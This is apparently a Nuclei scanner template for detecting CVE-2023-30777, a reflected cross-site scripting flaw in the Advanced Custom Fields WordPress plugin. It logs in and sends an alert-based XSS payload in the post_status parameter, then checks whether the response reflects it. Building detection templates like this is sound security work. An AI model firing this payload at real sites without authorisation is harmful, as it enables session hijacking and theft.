Advanced Custom Fields < 6.1.6 - Cross-Site Scripting

id: CVE-2023-30777

info:
  name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 6.1.6.
  reference:
    - https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f
    - https://wordpress.org/plugins/advanced-custom-fields/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30777
    - https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30777
    cwe-id: CWE-79
    epss-score: 0.39003
    epss-percentile: 0.98604
    cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: advancedcustomfields
    product: advanced_custom_fields
    framework: wordpress
  tags: cve2023,cve,wpscan,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss,advancedcustomfields,vkev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Advanced Custom Fields")'
        condition: and